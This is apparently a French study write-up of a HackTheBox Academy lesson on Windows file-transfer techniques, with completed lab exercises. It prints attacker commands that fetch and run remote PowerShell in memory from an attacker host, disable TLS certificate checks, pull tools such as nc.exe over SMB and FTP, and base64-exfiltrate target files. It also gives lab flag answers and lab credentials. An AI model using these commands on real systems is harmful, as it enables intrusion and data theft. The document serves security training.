Windows File Transfer Methods

🌐 Introduction

Le systÚme d'exploitation Windows a évolué au fil des années, apportant de nouveaux outils pour les opérations de transfert de fichiers. Comprendre les méthodes de transfert de fichiers sur Windows est essentiel, tant pour les attaquants que pour les défenseurs :

  • ✈ Les attaquants peuvent exploiter diffĂ©rentes mĂ©thodes pour transfĂ©rer des fichiers et contourner les mĂ©canismes de dĂ©fense.

  • 🔒 Les dĂ©fenseurs peuvent analyser ces mĂ©thodes pour mettre en place des politiques de surveillance et de protection adaptĂ©es.

Un bon exemple de menace avancĂ©e persistante (APT) est illustrĂ© dans l'article de Microsoft sur l'attaque Astaroth. Cette attaque fileless (sans fichier Ă  proprement parler sur le disque) utilise des outils lĂ©gitimes du systĂšme pour ĂȘtre exĂ©cutĂ©e directement en mĂ©moire.

🔄 SchĂ©ma de l'attaque Astaroth :

Cette attaque illustre la combinaison de plusieurs outils Windows natifs pour effectuer des opérations de transfert de fichiers tout en évitant les mécanismes de défense classiques.


🔧 MĂ©thodes de tĂ©lĂ©chargement de fichiers

Nous disposons d'une machine cible (ex. MS02) sur laquelle nous devons télécharger un fichier à partir de notre machine d'attaque (ex. Pwnbox). Voici quelques techniques utilisables dans un environnement Windows.

🔐 Encodage / DĂ©codage Base64 avec PowerShell

Cette méthode permet de transférer un fichier sans communication réseau directe. Il suffit d'avoir accÚs à un terminal.

  1. Sur la machine attaquante (Linux / Pwnbox) :

md5sum id_rsa
cat id_rsa | base64 -w 0
  1. Sur la machine cible (Windows) :

[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("...contenu base64..."))
  1. Vérification de l'intégrité du fichier :

Get-FileHash C:\Users\Public\id_rsa -Algorithm md5

Cette méthode permet de s'assurer que le fichier n'a pas été altéré pendant le transfert. Attention toutefois :

  • La taille maximale d'une commande dans cmd.exe est de 8 191 caractĂšres.

  • Certaines interfaces (comme les webshells) peuvent planter avec de trĂšs longues chaĂźnes.

🌐 TĂ©lĂ©chargement via PowerShell Web

Dans la majoritĂ© des entreprises, le trafic sortant HTTP et HTTPS est autorisĂ© afin de garantir la productivitĂ©. Ces canaux peuvent donc ĂȘtre exploitĂ©s en post-exploitation pour transfĂ©rer des fichiers. Toutefois, des mĂ©canismes de dĂ©fense peuvent limiter cette approche : filtrage web, blocage de certains types de fichiers (.exe, .ps1, etc.) ou restriction d'accĂšs Ă  des domaines spĂ©cifiques (whitelist).

PowerShell propose de nombreuses options pour transfĂ©rer des fichiers via Internet. MĂȘme dans les anciennes versions de PowerShell, la classe .Net.WebClient permet d'effectuer des tĂ©lĂ©chargements via HTTP, HTTPS ou FTP.

📚 MĂ©thodes WebClient principales :

Méthode
Description

OpenRead

Retourne les données d'une ressource sous forme de flux (Stream)

DownloadData

Télécharge les données et retourne un tableau de bytes

DownloadFile

Télécharge un fichier vers un chemin local

DownloadString

Télécharge une chaßne de texte (souvent un script)

...Async

MĂȘme logique que ci-dessus mais sans bloquer le thread principal

📁 Exemple : DownloadFile (tĂ©lĂ©chargement classique)

PS> (New-Object Net.WebClient).DownloadFile('https://example.com/outil.ps1','C:\Users\Public\outil.ps1')

🧠 Exemple : DownloadString (tĂ©lĂ©chargement "fileless" + exĂ©cution mĂ©moire)

PS> IEX (New-Object Net.WebClient).DownloadString('https://example.com/payload.ps1')
# ou
PS> (New-Object Net.WebClient).DownloadString('https://example.com/payload.ps1') | IEX

Cela permet d'exécuter un script directement en mémoire sans l'enregistrer sur disque (attaque "fileless").

🐱 Variante : Invoke-WebRequest

Depuis PowerShell 3.0, la commande Invoke-WebRequest (alias : iwr, curl, wget) est aussi disponible, mais elle est souvent plus lente :

PS> Invoke-WebRequest https://example.com/PowerView.ps1 -OutFile C:\Users\Public\PowerView.ps1

đŸ› ïž ProblĂšme courant : IE non initialisĂ©

Si Internet Explorer n’a pas Ă©tĂ© initialisĂ©, la commande peut Ă©chouer avec une erreur IEDomNotSupportedException. Pour contourner cela :

PS> Invoke-WebRequest https://<IP ATTAQUANT>/PowerView.ps1 -UseBasicParsing | IEX

🛑 Problùme SSL/TLS

En cas de certificat non valide, le téléchargement échoue avec une erreur de canal SSL/TLS. Solution temporaire :

PS> [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

📂 TĂ©lĂ©chargement via un serveur SMB

Le protocole SMB (port TCP/445) est trÚs courant dans les environnements Windows. Il permet un accÚs distant à des ressources partagées.

🔧 Lancer un serveur SMB (depuis Kali/Pwnbox)

sudo impacket-smbserver partage -smb2support /tmp/dossierpartage

đŸ“„ TĂ©lĂ©charger un fichier depuis la cible Windows :

copy \\<IP ATTAQUANT>\partage\outil.exe C:\Users\Public\outil.exe

đŸš« AccĂšs invitĂ© bloquĂ© (cas courant)

Des versions récentes de Windows bloquent l'accÚs SMB sans authentification. Le message suivant peut apparaßtre :

"You can't access this shared folder because your organization's security policies block unauthenticated guest access."

✅ Solution : utiliser une authentification

  1. Lancer le serveur SMB avec un utilisateur :

sudo impacket-smbserver partage /tmp/partage -username utilisateur -password motdepasse
  1. Monter le partage SMB depuis la cible :

net use \\<IP ATTAQUANT>\partage /user:utilisateur motdepasse
copy \\<IP ATTAQUANT>\partage\outil.exe C:\Users\Public\outil.exe

đŸ–„ïž Serveur SMB avec Identifiant et Mot de Passe

Il est possible de configurer un serveur SMB sur la machine de l’attaquant pour transfĂ©rer des fichiers vers une machine Windows cible. La commande suivante permet de le faire en dĂ©finissant un nom d’utilisateur et un mot de passe :

sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test

Exemple de sortie :

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0

📂 Monter le Partage SMB depuis Windows

Une fois le serveur en place, il est possible de le monter avec la commande suivante :

net use n: \\<IP ATTAQUANT>\share /user:test test

Puis copier un fichier depuis ce partage :

copy n:\nc.exe

💡 Si la commande copy ne fonctionne pas directement, il peut ĂȘtre nĂ©cessaire de monter d’abord le partage comme montrĂ© ci-dessus.


🌐 TĂ©lĂ©chargement via FTP

Une autre méthode consiste à utiliser FTP, qui fonctionne sur les ports TCP 21 (commande) et 20 (données). Le module pyftpdlib permet de rapidement mettre en place un serveur FTP.

🔧 Installer pyftpdlib

sudo pip3 install pyftpdlib

🚀 Lancer le Serveur FTP sur le port 21

sudo python3 -m pyftpdlib --port 21

Exemple de sortie :

>>> starting FTP server on 0.0.0.0:21 <<<

đŸ“„ TĂ©lĂ©charger un fichier depuis Windows avec PowerShell

(New-Object Net.WebClient).DownloadFile('ftp://<IP ATTAQUANT>/file.txt', 'C:\Users\Public\ftp-file.txt')

📝 TĂ©lĂ©charger avec un fichier de commandes FTP

Utile en shell non interactif :

echo open <IP ATTAQUANT> > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

Vérifier ensuite le contenu avec more file.txt.


đŸ“€ TĂ©lĂ©versement de fichiers depuis la machine cible

Pour des besoins d’exfiltration ou d’analyse, il peut ĂȘtre utile d’uploader un fichier depuis la machine cible vers la machine de l’attaquant.

🔐 Encodage Base64 en PowerShell

Permet de copier un fichier sous forme texte pour le transférer facilement.

[Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

📋 VĂ©rifier l'intĂ©gritĂ© avec un hash

Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash

Sur l’attaquant :

echo <chaĂźne base64> | base64 -d > hosts
md5sum hosts

🌐 Upload via PowerShell et un Serveur Web

PowerShell ne permet pas directement l’envoi de fichier, mais des scripts comme PSUpload.ps1 peuvent utiliser Invoke-RestMethod pour uploader des fichiers sur un serveur web configurĂ©.

đŸ› ïž Installer un serveur web avec upload

pip3 install uploadserver
python3 -m uploadserver

Le fichier peut ensuite ĂȘtre envoyĂ© depuis la cible avec un script comme PSUpload.

Le serveur écoute par défaut sur http://0.0.0.0:8000/, et la page de transfert est disponible à /upload


📚 Ressources utiles


Download the file flag.txt from the web root using wget from the Pwnbox. Submit the contents of the file as your answer.

Nous réalisons cet exercice à l'aide de la Pwnbox mise à disposition par HackTheBox.

Nous ouvrons alors Powershell et récupérons le fichier flag.txt présent à la racine de notre cible :

PS [10.10.14.171] /home/htb-ac-1811357/WGET > wget 10.129.124.88/flag.txt
Connecting to 10.129.124.88:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 32 [text/plain]
Saving to: ‘flag.txt’

flag.txt                                             100%[=====================================================================================================================>]      32  --.-KB/s    in 0s      
2025-07-02 03:18:49 (7.12 MB/s) - ‘flag.txt’ saved [32/32]

PS [10.10.14.171] /home/htb-ac-1811357/WGET > ls -al                     
drwxr-xr-x  2 htb-ac-1811357 htb-ac-1811357 4096 Jul  2 03:18 .
drwx------ 24 htb-ac-1811357 htb-ac-1811357 4096 Jul  2 03:18 ..
-rw-r--r--  1 htb-ac-1811357 htb-ac-1811357   32 Sep  9  2020 flag.txt

PS [10.10.14.171] /home/htb-ac-1811357/WGET > cat ./flag.txt
b1a4ca918282fcd96004565521944a3b

Nous obtenons ainsi le flag attendu :

b1a4ca918282fcd96004565521944a3b

RDP to 10.129.201.55 (ACADEMY-MISC-MS02) with user "htb-student" and password "HTB_@cademy_stdnt!"

Upload the attached file named upload_win.zip to the target using the method of your choice. Once uploaded, unzip the archive, and run "hasher upload_win.txt" from the command line. Submit the generated hash as your answer.

Afin de télécharger le fichier mentionné, nous utilisons wget dans un premier temps sur notre machine attaquante :

PS [10.10.14.171] /home/htb-ac-1811357/WGET > wget https://academy.hackthebox.com/storage/modules/24/upload_win.zip
--2025-07-02 03:21:25--  https://academy.hackthebox.com/storage/modules/24/upload_win.zip
Resolving academy.hackthebox.com (academy.hackthebox.com)... 109.176.239.69, 109.176.239.70
Connecting to academy.hackthebox.com (academy.hackthebox.com)|109.176.239.69|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/zip]
Saving to: ‘upload_win.zip’

upload_win.zip                                       100%[=====================================================================================================================>]     194  --.-KB/s    in 0s      

2025-07-02 03:21:25 (196 MB/s) - ‘upload_win.zip’ saved [194/194]

Une fois sur notre poste, nous rézippons le fichier :

unzip ./upload_win.zip 

Une fois ceci effectué, nous ouvrons une connexion à distance dans notre répertoire WGET afin de permettre le téléchargement du zip sur notre cible :

python3 -m http.server 8080

Nous utilisons xfreerdp afin d'accéder à la cible :

xfreerdp /u:htb-student /p:"HTB_@cademy_stdnt!" /v:10.129.124.88

Une fois sur notre cible, nous récupérons le fichier .zip pour en obtenir le hash :

Nous obtenons alors le hash retourné par le fichier :

f458303ea783c224c6b4e7ef7f17eb9d

Mis Ă  jour